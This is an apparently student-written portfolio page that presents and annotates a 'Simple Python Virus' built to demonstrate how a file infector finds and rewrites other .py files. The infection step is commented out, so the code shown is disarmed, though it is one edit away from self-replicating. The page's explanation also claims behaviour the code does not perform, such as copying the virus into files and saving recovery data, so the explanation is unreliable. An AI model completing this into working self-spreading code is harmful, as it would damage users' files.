top of page

Simple Python Virus

This is a program I learnt and created after learning about malware in my computing classes and by watching youtube videos. This program is not actually a real virus as there is no executable file nor does it actually damage any files. It just opens and modifies files. However, It does use similar strategies to a real virus. 

The program is simple and easy to remove once infected as you will just need to restore or grab the original code form the virus program itself. 

 

Hover over each portion of the code below to find out more about the code!!

Full Code

# START
import sys
import re
import glob


virusCode = []
currFile = sys.argv[0]
virusFile = open(currFile,'r')
lines = virusFile.readlines()
virusFile.close()

infectionHistory = {}

inVirus = False
for line in lines:
    if(re.search("^# START", line)):
        inVirus = True

    if inVirus == True:
        virusCode.append(line)
    if re.search("^# END",line):
        break

programs = glob.glob("*.py")
for p in programs:
    file = open(p,"r")
    programCode = file.readlines()
    file.close()

    infected = False
    for line in programCode:
        if(re.search("^# START", line)):
            infected = True
            break
    if not infected:
        newCode = []
        # newCode = programCode
        # newCode.extend(virusCode)

        infectionHistory.update({p:programCode})
        newCode = programCode
        file = open(p,"w")
        file.writelines(newCode)
        file.close()

print("Bye Bye World")


# END

Interactive Code

Hover over each portion of the code below to find out more about the code!!

Import needed libraries

# START
import sys
import re
import glob

Open the Current file with the virus and save the virus's code into a list called virusCode.

virusCode = []
currFile = sys.argv[0]
virusFile = open(currFile,'r')
lines = virusFile.readlines()
virusFile.close()

infectionHistory = {}

inVirus = False
for line in lines:
    if(re.search("^# START", line)):
        inVirus = True

    if inVirus == True:
        virusCode.append(line)
    if re.search("^# END",line):
        break

Search for file with "*.py" and open them. After, it reads the code in that python program and saves it in its own list within its code called infectionHistory which saves both the code and the file name. This allows the victim to find the original code back by looking for the file name that was infected. The virus then deleted and paste its own code into the file. 

programs = glob.glob("*.py")
for p in programs:
    file = open(p,"r")
    programCode = file.readlines()
    file.close()

    infected = False
    for line in programCode:
        if(re.search("^# START", line)):
            infected = True
            break
    if not infected:
        newCode = []
        # newCode = programCode
        # newCode.extend(virusCode)

        infectionHistory.update({p:programCode})
        newCode = programCode
        file = open(p,"w")
        file.writelines(newCode)
        file.close()

print("Bye Bye World")


# END

Subscribe Form

Thanks for submitting!

©2021 by Jerald.

bottom of page